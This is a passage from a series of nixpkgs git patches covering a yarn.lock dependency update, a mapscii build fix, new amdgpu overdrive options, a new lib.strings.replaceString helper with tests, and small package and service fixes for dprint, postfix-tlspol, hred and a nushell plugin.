-  resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.2.2.tgz#94c540e1ff772956e2299507c010aea6c8838eb0"
-  integrity sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==
+  version "4.4.1"
+  resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e"
+  integrity sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==
   dependencies:
     punycode "^2.1.0"
 
 urix@^0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/urix/-/urix-0.1.0.tgz#da937f7a62e21fec1fd18d49b35c2935067a6c72"
-  integrity sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=
+  integrity sha512-Am1ousAhSLBeB9cG/7k7r2R0zj50uDRlZHPGbazid5s9rlF1F/QKYObEKSIunSjIOkJZqwRRLpvewjEkM7pSqg==
 
 use@^3.1.0:
   version "3.1.1"
@@ -3468,7 +4193,7 @@ use@^3.1.0:
 util-deprecate@~1.0.1:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
-  integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=
+  integrity sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==
 
 validate-npm-package-license@^3.0.1:
   version "3.0.4"
@@ -3490,10 +4215,63 @@ vue-eslint-parser@^2.0.2:
     esquery "^1.0.0"
     lodash "^4.17.4"
 
+which-boxed-primitive@^1.1.0, which-boxed-primitive@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz#d76ec27df7fa165f18d5808374a5fe23c29b176e"
+  integrity sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==
+  dependencies:
+    is-bigint "^1.1.0"
+    is-boolean-object "^1.2.1"
+    is-number-object "^1.1.1"
+    is-string "^1.1.1"
+    is-symbol "^1.1.1"
+
+which-builtin-type@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/which-builtin-type/-/which-builtin-type-1.2.1.tgz#89183da1b4907ab089a6b02029cc5d8d6574270e"
+  integrity sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==
+  dependencies:
+    call-bound "^1.0.2"
+    function.prototype.name "^1.1.6"
+    has-tostringtag "^1.0.2"
+    is-async-function "^2.0.0"
+    is-date-object "^1.1.0"
+    is-finalizationregistry "^1.1.0"
+    is-generator-function "^1.0.10"
+    is-regex "^1.2.1"
+    is-weakref "^1.0.2"
+    isarray "^2.0.5"
+    which-boxed-primitive "^1.1.0"
+    which-collection "^1.0.2"
+    which-typed-array "^1.1.16"
+
+which-collection@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/which-collection/-/which-collection-1.0.2.tgz#627ef76243920a107e7ce8e96191debe4b16c2a0"
+  integrity sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==
+  dependencies:
+    is-map "^2.0.3"
+    is-set "^2.0.3"
+    is-weakmap "^2.0.2"
+    is-weakset "^2.0.3"
+
 which-module@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/which-module/-/which-module-2.0.0.tgz#d9ef07dce77b9902b8a3a8fa4b31c3e3f7e6e87a"
-  integrity sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/which-module/-/which-module-2.0.1.tgz#776b1fe35d90aebe99e8ac15eb24093389a4a409"
+  integrity sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==
+
+which-typed-array@^1.1.16, which-typed-array@^1.1.19:
+  version "1.1.19"
+  resolved "https://registry.yarnpkg.com/which-typed-array/-/which-typed-array-1.1.19.tgz#df03842e870b6b88e117524a4b364b6fc689f956"
+  integrity sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==
+  dependencies:
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    call-bound "^1.0.4"
+    for-each "^0.3.5"
+    get-proto "^1.0.1"
+    gopd "^1.2.0"
+    has-tostringtag "^1.0.2"
 
 which@^1.2.10, which@^1.2.9:
   version "1.3.1"
@@ -3503,14 +4281,14 @@ which@^1.2.10, which@^1.2.9:
     isexe "^2.0.0"
 
 word-wrap@~1.2.3:
-  version "1.2.3"
-  resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.3.tgz#610636f6b1f703891bd34771ccb17fb93b47079c"
-  integrity sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==
+  version "1.2.5"
+  resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.5.tgz#d2c45c6dd4fbce621a66f136cbe328afd0410b34"
+  integrity sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==
 
 wrap-ansi@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-2.1.0.tgz#d8fc3d284dd05794fe84973caecdd1cf824fdd85"
-  integrity sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=
+  integrity sha512-vAaEaDM946gbNpH5pLVNR+vX2ht6n0Bt3GXwVB1AuAqZosOvHNF3P7wDnh8KLkSqgUh0uh77le7Owgoz+Z9XBw==
   dependencies:
     string-width "^1.0.1"
     strip-ansi "^3.0.1"
@@ -3518,7 +4296,7 @@ wrap-ansi@^2.0.0:
 wrap-ansi@^3.0.1:
   version "3.0.1"
   resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-3.0.1.tgz#288a04d87eda5c286e060dfe8f135ce8d007f8ba"
-  integrity sha1-KIoE2H7aXChuBg3+jxNc6NAH+Lo=
+  integrity sha512-iXR3tDXpbnTpzjKSylUJRkLuOrEC7hwEB221cgn6wtF8wpmz28puFXAEfPT5zrjM3wahygB//VuWEr1vTkDcNQ==
   dependencies:
     string-width "^2.1.1"
     strip-ansi "^4.0.0"
@@ -3526,7 +4304,7 @@ wrap-ansi@^3.0.1:
 wrappy@1:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
-  integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
+  integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==
 
 write@1.0.3:
   version "1.0.3"
@@ -3538,31 +4316,19 @@ write@1.0.3:
 write@^0.2.1:
   version "0.2.1"
   resolved "https://registry.yarnpkg.com/write/-/write-0.2.1.tgz#5fc03828e264cea3fe91455476f7a3c566cb0757"
-  integrity sha1-X8A4KOJkzqP+kUVUdvejxWbLB1c=
+  integrity sha512-CJ17OoULEKXpA5pef3qLj5AxTJ6mSt7g84he2WIskKwqFO4T97d5V7Tadl0DYDk7qyUOQD5WlUlOMChaYrhxeA==
   dependencies:
     mkdirp "^0.5.1"
 
-xregexp@^4.3.0:
-  version "4.3.0"
-  resolved "https://registry.yarnpkg.com/xregexp/-/xregexp-4.3.0.tgz#7e92e73d9174a99a59743f67a4ce879a04b5ae50"
-  integrity sha512-7jXDIFXh5yJ/orPn4SXjuVrWWoi4Cr8jfV1eHv9CixKSbU+jY4mxfrBwAuDvupPNKpMUY+FeIqsVw/JLT9+B8g==
-  dependencies:
-    "@babel/runtime-corejs3" "^7.8.3"
-
 y18n@^3.2.1:
-  version "3.2.1"
-  resolved "https://registry.yarnpkg.com/y18n/-/y18n-3.2.1.tgz#6d15fba884c08679c0d77e88e7759e811e07fa41"
-  integrity sha1-bRX7qITAhnnA136I53WegR4H+kE=
+  version "3.2.2"
+  resolved "https://registry.yarnpkg.com/y18n/-/y18n-3.2.2.tgz#85c901bd6470ce71fc4bb723ad209b70f7f28696"
+  integrity sha512-uGZHXkHnhF0XeeAPgnKfPv1bgKAYyVvmNL1xlKsPYZPaIHxGti2hHqvOCQv71XMsLxu1QjergkqogUnms5D3YQ==
 
 yallist@^2.1.2:
   version "2.1.2"
   resolved "https://registry.yarnpkg.com/yallist/-/yallist-2.1.2.tgz#1c11f9218f076089a47dd512f93c6699a6a81d52"
-  integrity sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=
-
-yallist@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/yallist/-/yallist-4.0.0.tgz#9bb92790d9c0effec63be73519e11a35019a3a72"
-  integrity sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==
+  integrity sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A==
 
 yargs-parser@^8.0.0:
   version "8.1.0"

From ccefe44c18ae2a618e71492d3477b48da706f3f2 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sun, 6 Jul 2025 15:25:34 -0400
Subject: [PATCH 2201/4511] mapscii: unbreak

noBrokenSymlinks failed during the fixupPhase.

Co-authored-by: Arne Keller <arne.keller@posteo.de>
(cherry picked from commit 3d1f64acc6b5fa986ca09b979cc7f8354c4fd60c)
---
 pkgs/by-name/ma/mapscii/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/ma/mapscii/package.nix b/pkgs/by-name/ma/mapscii/package.nix
index 1fb76d1b3f1c..b8b83539218a 100644
--- a/pkgs/by-name/ma/mapscii/package.nix
+++ b/pkgs/by-name/ma/mapscii/package.nix
@@ -18,6 +18,11 @@ buildNpmPackage rec {
 
   dontNpmBuild = true;
 
+  # remove broken links to build tools
+  postInstall = ''
+    rm -r $out/lib/node_modules/mapscii/node_modules/.bin
+  '';
+
   meta = with lib; {
     description = "MapSCII is a Braille & ASCII world map renderer for your console";
     homepage = "https://github.com/rastapasta/mapscii";

From 561ddf49c69e2786ed6ba643ce23e4eccde0138d Mon Sep 17 00:00:00 2001
From: Masum Reza <50095635+JohnRTitor@users.noreply.github.com>
Date: Tue, 27 May 2025 19:45:13 +0530
Subject: [PATCH 2202/4511] nixos/amdgpu: add overdrive and ppfeaturemask
 option

- `programs.corectrl.gpuOverclock.enable` -> `hardware.amdgpu.overdrive.enable`
- `programs.corectrl.gpuOverclock.ppfeaturemask` -> `hardware.amdgpu.overdrive.ppfeaturemask`
- `programs.tuxclocker.enableAMD` -> `hardware.amdgpu.overdrive.enable`

(cherry picked from commit c9f192da9242f66cd9314b90632682d0326afa93)
---
 .../manual/release-notes/rl-2505.section.md   |  3 ++
 nixos/modules/hardware/corectrl.nix           | 35 ++++++-------------
 nixos/modules/services/hardware/amdgpu.nix    | 35 +++++++++++++++----
 nixos/modules/services/misc/tuxclocker.nix    | 16 ++++-----
 4 files changed, 50 insertions(+), 39 deletions(-)

diff --git a/nixos/doc/manual/release-notes/rl-2505.section.md b/nixos/doc/manual/release-notes/rl-2505.section.md
index 930c612759aa..eef1c2ed2602 100644
--- a/nixos/doc/manual/release-notes/rl-2505.section.md
+++ b/nixos/doc/manual/release-notes/rl-2505.section.md
@@ -541,6 +541,9 @@ Alongside many enhancements to NixOS modules and general system improvements, th
 
 - A toggle has been added under `users.users.<name>.enable` to allow toggling individual users conditionally. If set to false, the user account will not be created.
 
+- `amdgpu` kernel driver overdrive mode can now be enabled by setting [hardware.amdgpu.overdrive.enable](#opt-hardware.amdgpu.overdrive.enable) and customized through [hardware.amdgpu.overdrive.ppfeaturemask](#opt-hardware.amdgpu.overdrive.ppfeaturemask).
+  This allows for fine-grained control over the GPU's performance and maybe required by overclocking softwares like Corectrl and Lact. These new options replace old options such as {option}`programs.corectrl.gpuOverclock.enable` and {option}`programs.tuxclocker.enableAMD`.
+
 <!-- To avoid merge conflicts, consider adding your item at an arbitrary place in the list instead. -->
 
 ## NixOS Wiki {#sec-release-25.05-wiki}
diff --git a/nixos/modules/hardware/corectrl.nix b/nixos/modules/hardware/corectrl.nix
index 6e680ddc846e..bbe59d1b5b9d 100644
--- a/nixos/modules/hardware/corectrl.nix
+++ b/nixos/modules/hardware/corectrl.nix
@@ -8,13 +8,23 @@ let
   inherit (lib)
     mkEnableOption
     mkIf
-    mkOption
     mkPackageOption
     ;
 
   cfg = config.programs.corectrl;
 in
 {
+  imports = [
+    (lib.mkRenamedOptionModule
+      [ "programs" "corectrl" "gpuOverclock" "enable" ]
+      [ "hardware" "amdgpu" "overdrive" "enable" ]
+    )
+    (lib.mkRenamedOptionModule
+      [ "programs" "corectrl" "gpuOverclock" "ppfeaturemask" ]
+      [ "hardware" "amdgpu" "overdrive" "ppfeaturemask" ]
+    )
+  ];
+
   options.programs.corectrl = {
     enable = mkEnableOption ''
       CoreCtrl, a tool to overclock amd graphics cards and processors.
@@ -24,23 +34,6 @@ in
     package = mkPackageOption pkgs "corectrl" {
       extraDescription = "Useful for overriding the configuration options used for the package.";
     };
-
-    gpuOverclock = {
-      enable = mkEnableOption ''
-        GPU overclocking
-      '';
-      ppfeaturemask = mkOption {
-        type = lib.types.str;
-        default = "0xfffd7fff";
-        example = "0xffffffff";
-        description = ''
-          Sets the `amdgpu.ppfeaturemask` kernel option.
-          In particular, it is used here to set the overdrive bit.
-          Default is `0xfffd7fff` as it is less likely to cause flicker issues.
-          Setting it to `0xffffffff` enables all features.
-        '';
-      };
-    };
   };
 
   config = mkIf cfg.enable {
@@ -61,12 +54,6 @@ in
           }
       });
     '';
-
-    # https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/gpu/drm/amd/include/amd_shared.h#n169
-    # The overdrive bit
-    boot.kernelParams = mkIf cfg.gpuOverclock.enable [
-      "amdgpu.ppfeaturemask=${cfg.gpuOverclock.ppfeaturemask}"
-    ];
   };
 
   meta.maintainers = with lib.maintainers; [
diff --git a/nixos/modules/services/hardware/amdgpu.nix b/nixos/modules/services/hardware/amdgpu.nix
index 78f47d858105..4aff9cdd077d 100644
--- a/nixos/modules/services/hardware/amdgpu.nix
+++ b/nixos/modules/services/hardware/amdgpu.nix
@@ -16,21 +16,44 @@ in
       series cards. Note: this removes support for analog video outputs,
       which is only available in the `radeon` driver
     '';
+
     initrd.enable = lib.mkEnableOption ''
       loading `amdgpu` kernelModule in stage 1.
       Can fix lower resolution in boot screen during initramfs phase
     '';
+
+    overdrive = {
+      enable = lib.mkEnableOption ''`amdgpu` overdrive mode for overclocking'';
+
+      ppfeaturemask = lib.mkOption {
+        type = lib.types.str;
+        default = "0xfffd7fff";
+        example = "0xffffffff";
+        description = ''
+          Sets the `amdgpu.ppfeaturemask` kernel option. It can be used to enable the overdrive bit.
+          Default is `0xfffd7fff` as it is less likely to cause flicker issues. Setting it to
+          `0xffffffff` enables all features, but also can be unstable. See
+          [the kernel documentation](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/gpu/drm/amd/include/amd_shared.h#n169)
+          for more information.
+        '';
+      };
+    };
+
     opencl.enable = lib.mkEnableOption ''OpenCL support using ROCM runtime library'';
     # cfg.amdvlk option is defined in ./amdvlk.nix module
   };
 
   config = {
-    boot.kernelParams = lib.optionals cfg.legacySupport.enable [
-      "amdgpu.si_support=1"
-      "amdgpu.cik_support=1"
-      "radeon.si_support=0"
-      "radeon.cik_support=0"
-    ];
+    boot.kernelParams =
+      lib.optionals cfg.legacySupport.enable [
+        "amdgpu.si_support=1"
+        "amdgpu.cik_support=1"
+        "radeon.si_support=0"
+        "radeon.cik_support=0"
+      ]
+      ++ lib.optionals cfg.overdrive.enable [
+        "amdgpu.ppfeaturemask=${cfg.overdrive.ppfeaturemask}"
+      ];
 
     boot.initrd.kernelModules = lib.optionals cfg.initrd.enable [ "amdgpu" ];
 
diff --git a/nixos/modules/services/misc/tuxclocker.nix b/nixos/modules/services/misc/tuxclocker.nix
index f316994314be..b5d1eea767db 100644
--- a/nixos/modules/services/misc/tuxclocker.nix
+++ b/nixos/modules/services/misc/tuxclocker.nix
@@ -8,16 +8,18 @@ let
   cfg = config.programs.tuxclocker;
 in
 {
+  imports = [
+    (lib.mkRenamedOptionModule
+      [ "programs" "tuxclocker" "enableAMD" ]
+      [ "hardware" "amdgpu" "overdrive" "enable" ]
+    )
+  ];
+
   options.programs.tuxclocker = {
     enable = lib.mkEnableOption ''
       TuxClocker, a hardware control and monitoring program
     '';
 
-    enableAMD = lib.mkEnableOption ''
-      AMD GPU controls.
-      Sets the `amdgpu.ppfeaturemask` kernel parameter to 0xfffd7fff to enable all TuxClocker controls
-    '';
-
     enabledNVIDIADevices = lib.mkOption {
       type = lib.types.listOf lib.types.int;
       default = [ ];
@@ -72,9 +74,5 @@ in
           );
         in
         lib.concatStrings (map configSection cfg.enabledNVIDIADevices);
-
-      # https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/gpu/drm/amd/include/amd_shared.h#n207
-      # Enable everything modifiable in TuxClocker
-      boot.kernelParams = lib.mkIf cfg.enableAMD [ "amdgpu.ppfeaturemask=0xfffd7fff" ];
     };
 }

From feb1a72ead21a6e0eab3537cc2535ead585c32e3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Tue, 27 May 2025 22:21:08 +0200
Subject: [PATCH 2203/4511] lib/strings: init replaceString

(cherry picked from commit b5720e2b3fd2daa367264ca6412db397e18257ae)
---
 lib/default.nix    |  1 +
 lib/strings.nix    | 35 +++++++++++++++++++++++++++++++++++
 lib/tests/misc.nix | 11 +++++++++++
 3 files changed, 47 insertions(+)

diff --git a/lib/default.nix b/lib/default.nix
index e6e6aaa983d5..9b61d45713ba 100644
--- a/lib/default.nix
+++ b/lib/default.nix
@@ -309,6 +309,7 @@ let
         stringLength
         substring
         isString
+        replaceString
         replaceStrings
         intersperse
         concatStringsSep
diff --git a/lib/strings.nix b/lib/strings.nix
index ba055bc3d22d..4aef18efd212 100644
--- a/lib/strings.nix
+++ b/lib/strings.nix
@@ -332,6 +332,41 @@ rec {
   */
   concatLines = concatMapStrings (s: s + "\n");
 
+  /**
+    Given string `s`, replace every occurrence of the string `from` with the string `to`.
+
+    # Inputs
+
+    `from`
+    : The string to be replaced
+
+    `to`
+    : The string to replace with
+
+    `s`
+    : The original string where replacements will be made
+
+    # Type
+
+    ```
+    replaceString :: string -> string -> string -> string
+    ```
+
+    # Examples
+    :::{.example}
+    ## `lib.strings.replaceString` usage example
+
+    ```nix
+    replaceString "world" "Nix" "Hello, world!"
+    => "Hello, Nix!"
+    replaceString "." "_" "v1.2.3"
+    => "v1_2_3"
+    ```
+
+    :::
+  */
+  replaceString = from: to: replaceStrings [ from ] [ to ];
+
   /**
     Repeat a string `n` times,
     and concatenate the parts into a new string.
diff --git a/lib/tests/misc.nix b/lib/tests/misc.nix
index ef2d74b63162..99b335cdb295 100644
--- a/lib/tests/misc.nix
+++ b/lib/tests/misc.nix
@@ -91,6 +91,7 @@ let
     range
     recursiveUpdateUntil
     removePrefix
+    replaceString
     replicate
     runTests
     setFunctionArgs
@@ -497,6 +498,11 @@ runTests {
     expected = "/usr/include:/usr/local/include";
   };
 
+  testReplaceStringString = {
+    expr = strings.replaceString "." "_" "v1.2.3";
+    expected = "v1_2_3";
+  };
+
   testReplicateString = {
     expr = strings.replicate 5 "hello";
     expected = "hellohellohellohellohello";
@@ -1706,6 +1712,11 @@ runTests {
     ];
   };
 
+  testReplaceString = {
+    expr = replaceString "world" "Nix" "Hello, world!";
+    expected = "Hello, Nix!";
+  };
+
   testReplicate = {
     expr = replicate 3 "a";
     expected = [

From 977242de6d832e3b3d0b00bc3794875a436555a9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Tue, 27 May 2025 22:26:16 +0200
Subject: [PATCH 2204/4511] lib: prefer replaceString over replaceStrings

(cherry picked from commit b3b0fd266bbed6b1a5a12a0825c53d1aa9f02755)
---
 lib/gvariant.nix        | 4 ++--
 lib/strings.nix         | 2 +-
 lib/systems/default.nix | 4 ++--
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/lib/gvariant.nix b/lib/gvariant.nix
index d316a3254a25..e66217db8188 100644
--- a/lib/gvariant.nix
+++ b/lib/gvariant.nix
@@ -18,7 +18,7 @@ let
     concatStrings
     escape
     head
-    replaceStrings
+    replaceString
     ;
 
   mkPrimitive = t: v: {
@@ -451,7 +451,7 @@ rec {
   mkString =
     v:
     let
-      sanitize = s: replaceStrings [ "\n" ] [ "\\n" ] (escape [ "'" "\\" ] s);
+      sanitize = s: replaceString "\n" "\\n" (escape [ "'" "\\" ] s);
     in
     mkPrimitive type.string v
     // {
diff --git a/lib/strings.nix b/lib/strings.nix
index 4aef18efd212..ae3cb4bb52f4 100644
--- a/lib/strings.nix
+++ b/lib/strings.nix
@@ -1173,7 +1173,7 @@ rec {
       string = toString arg;
     in
     if match "[[:alnum:],._+:@%/-]+" string == null then
-      "'${replaceStrings [ "'" ] [ "'\\''" ] string}'"
+      "'${replaceString "'" "'\\''" string}'"
     else
       string;
 
diff --git a/lib/systems/default.nix b/lib/systems/default.nix
index cf3f335eb7d4..1fbbd115cf4f 100644
--- a/lib/systems/default.nix
+++ b/lib/systems/default.nix
@@ -14,7 +14,7 @@ let
     optionalAttrs
     optionalString
     removeSuffix
-    replaceStrings
+    replaceString
     toUpper
     ;
 
@@ -508,7 +508,7 @@ let
             #
             # https://github.com/rust-lang/cargo/pull/9169
             # https://github.com/rust-lang/cargo/issues/8285#issuecomment-634202431
-            cargoEnvVarTarget = replaceStrings [ "-" ] [ "_" ] (toUpper final.rust.cargoShortTarget);
+            cargoEnvVarTarget = replaceString "-" "_" (toUpper final.rust.cargoShortTarget);
 
             # True if the target is no_std
             # https://github.com/rust-lang/rust/blob/2e44c17c12cec45b6a682b1e53a04ac5b5fcc9d2/src/bootstrap/config.rs#L415-L421

From 07f9277ab4228dffd76807f0691c5b64db821727 Mon Sep 17 00:00:00 2001
From: Kenichi Kamiya <kachick1@gmail.com>
Date: Sat, 5 Jul 2025 13:08:55 +0900
Subject: [PATCH 2205/4511] dprint: 0.50.0 -> 0.50.1

Diff: https://github.com/dprint/dprint/compare/0.50.0...0.50.1
(cherry picked from commit 0c9906634901041ed1ac49c1e721ac969678bfd0)
---
 pkgs/by-name/dp/dprint/package.nix | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/dp/dprint/package.nix b/pkgs/by-name/dp/dprint/package.nix
index 76da0cdd957b..bc024552800a 100644
--- a/pkgs/by-name/dp/dprint/package.nix
+++ b/pkgs/by-name/dp/dprint/package.nix
@@ -11,7 +11,7 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "dprint";
-  version = "0.50.0";
+  version = "0.50.1";
 
   # Prefer repository rather than crate here
   #   - They have Cargo.lock in the repository
@@ -20,16 +20,20 @@ rustPlatform.buildRustPackage (finalAttrs: {
     owner = "dprint";
     repo = "dprint";
     tag = finalAttrs.version;
-    hash = "sha256-6AgbKH5f7N/yYqq7KBVHOqYbyuZkjFSaYwZwIXsgd9o=";
+    hash = "sha256-Lt6CzSzppu5ULhzYN5FTCWtWK3AA4/8jRzXgQkU4Tco=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-OnrsuVK1gEDweldq+P8lDkkrHjklsG8MRpM0wqWsdlM=";
+  cargoHash = "sha256-1opQaR3vbm/DpDY5oQ1VgA4nf0nCBknxfgOSPZQbtV4=";
 
   nativeBuildInputs = lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
     installShellFiles
   ];
 
+  # Avoiding "Undefined symbols" such as "___unw_remove_find_dynamic_unwind_sections" since dprint 0.50.1
+  # Adding "libunwind" in buildInputs did not resolve it.
+  env.RUSTFLAGS = lib.optionalString stdenv.hostPlatform.isDarwin "-C link-args=-Wl,-undefined,dynamic_lookup";
+
   cargoBuildFlags = [
     "--package=dprint"
     # Required only for dprint package tests; the binary is removed in postInstall.

From 1c9bc79b613add6c0d355d4365637a13134ad0f4 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Thu, 10 Jul 2025 01:56:34 +0200
Subject: [PATCH 2206/4511] nixos/postfix-tlspol: fix default settings and
 config reload

Reloading was insufficient for changing the dns resolver address, so we
make config changes a restart trigger instead.

(cherry picked from commit e57363be151a076509629aa6a91c6affccd6d010)
---
 nixos/modules/services/mail/postfix-tlspol.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/mail/postfix-tlspol.nix b/nixos/modules/services/mail/postfix-tlspol.nix
index dd49700734df..a44ccbdba652 100644
--- a/nixos/modules/services/mail/postfix-tlspol.nix
+++ b/nixos/modules/services/mail/postfix-tlspol.nix
@@ -90,7 +90,7 @@ in
           };
 
           dns = {
-            server = mkOption {
+            address = mkOption {
               type = types.str;
               default = "127.0.0.1:53";
               description = ''
@@ -173,7 +173,7 @@ in
         description = "Postfix DANE/MTA-STS TLS policy socketmap service";
         documentation = [ "https://github.com/Zuplu/postfix-tlspol" ];
 
-        reloadTriggers = [ configFile ];
+        restartTriggers = [ configFile ];
 
         # https://github.com/Zuplu/postfix-tlspol/blob/main/init/postfix-tlspol.service
         serviceConfig = {

From 0250705574acc817ca99a76b89b4acae2f8a05a8 Mon Sep 17 00:00:00 2001
From: Jeff Huffman <tejing@tejing.com>
Date: Tue, 24 Jun 2025 16:16:59 -0400
Subject: [PATCH 2207/4511] hred: convert to finalAttrs, add binlore

(cherry picked from commit bdf3d512be23448e066992ab5acc4df6ec106852)
---
 pkgs/by-name/hr/hred/package.nix | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/hr/hred/package.nix b/pkgs/by-name/hr/hred/package.nix
index d946f8665b07..289c4d753a3d 100644
--- a/pkgs/by-name/hr/hred/package.nix
+++ b/pkgs/by-name/hr/hred/package.nix
@@ -3,18 +3,18 @@
   buildNpmPackage,
   fetchFromGitHub,
   runCommand,
-  hred,
   jq,
+  binlore,
 }:
 
-buildNpmPackage rec {
+buildNpmPackage (finalAttrs: {
   pname = "hred";
   version = "1.5.1";
 
   src = fetchFromGitHub {
     owner = "danburzo";
     repo = "hred";
-    rev = "v${version}";
+    rev = "v${finalAttrs.version}";
     hash = "sha256-+0+WQRI8rdIMbPN0eBUdsWUMWDCxZhTRLiFo1WRd2xc=";
   };
 
@@ -23,13 +23,15 @@ buildNpmPackage rec {
   dontNpmBuild = true;
 
   passthru.tests = {
-    simple = runCommand "${pname}-test" { } ''
+    simple = runCommand "hred-test" { } ''
       set -e -o pipefail
-      echo '<i id="foo">bar</i>' | ${hred}/bin/hred 'i#foo { @id => id, @.textContent => text }' -c | ${jq}/bin/jq -c > $out
+      echo '<i id="foo">bar</i>' | ${finalAttrs.finalPackage}/bin/hred 'i#foo { @id => id, @.textContent => text }' -c | ${jq}/bin/jq -c > $out
       [ "$(cat $out)" = '{"id":"foo","text":"bar"}' ]
     '';
   };
 
+  passthru.binlore.out = binlore.synthesize finalAttrs.finalPackage "execer cannot bin/hred";
+
   meta = {
     description = "Command-line tool to extract data from HTML";
     mainProgram = "hred";
@@ -37,4 +39,4 @@ buildNpmPackage rec {
     homepage = "https://github.com/danburzo/hred";
     maintainers = with lib.maintainers; [ tejing ];
   };
-}
+})

From 05eb737f2ce2b54d516918a56f2884aeaab6b569 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 28 Jun 2025 00:23:41 +0200
Subject: [PATCH 2208/4511] nushellPlugins.dbus: refactor

(cherry picked from commit a76d03be7dc17b00a967fe811e1ee3a8c96bb7ce)
---
 pkgs/shells/nushell/plugins/dbus.nix | 19 +++++++++----------
 1 file changed, 9 insertions(+), 10 deletions(-)

diff --git a/pkgs/shells/nushell/plugins/dbus.nix b/pkgs/shells/nushell/plugins/dbus.nix
index 91d63bb9f316..8e7e33ca47f0 100644
--- a/pkgs/shells/nushell/plugins/dbus.nix
+++ b/pkgs/shells/nushell/plugins/dbus.nix
@@ -11,18 +11,17 @@
   nushell_plugin_dbus,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
